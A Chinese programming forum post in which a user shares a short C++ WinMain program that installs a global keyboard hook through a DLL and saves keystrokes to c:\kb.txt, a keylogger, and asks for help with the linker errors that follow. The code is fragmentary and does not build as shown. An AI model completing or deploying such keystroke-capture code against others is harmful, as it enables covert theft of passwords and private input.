|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
代码
#include "stdafx.h"
#include "keyboardhook.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
KeyBoardHook kbh;
char dll_path[MAX_PATH];
::GetModuleFileName(NULL,dll_path,sizeof(dll_path));
char *pos=strrchr(dll_path,'\\');
if(pos==NULL) return 0;
strcpy(pos,"\\\0\0");
strcat(dll_path,"hookdll.dll");
strcpy(kbh.KBINFO.Dll_path,dll_path);
strcpy(kbh.KBINFO.Key,"*");
kbh.KBINFO.MaxDataLen=1;
kbh.SetKBHookType(3);
strcpy(kbh.KBINFO.Savepath,"c:\\kb.txt");
kbh.Start();
while(true) Sleep(1000);
return 0;
}
错误 提示
error LNK2001: unresolved external symbol "public: int __thiscall KeyBoardHook::Start(void)" (?Start@KeyBoardHook@@QAEHXZ)
error LNK2001: unresolved external symbol "public: void __thiscall KeyBoardHook::SetKBHookType(int)" (?SetKBHookType@KeyBoardHook@@QAEXH@Z)
error LNK2001: unresolved external symbol "public: virtual __thiscall KeyBoardHook::~KeyBoardHook(void)" (??1KeyBoardHook@@UAE@XZ)
error LNK2001: unresolved external symbol "public: __thiscall KeyBoardHook::KeyBoardHook(void)" (??0KeyBoardHook@@QAE@XZ)
error LNK2001: unresolved external symbol _main
fatal error LNK1120: 5 unresolved externals
大侠帮帮忙
|
|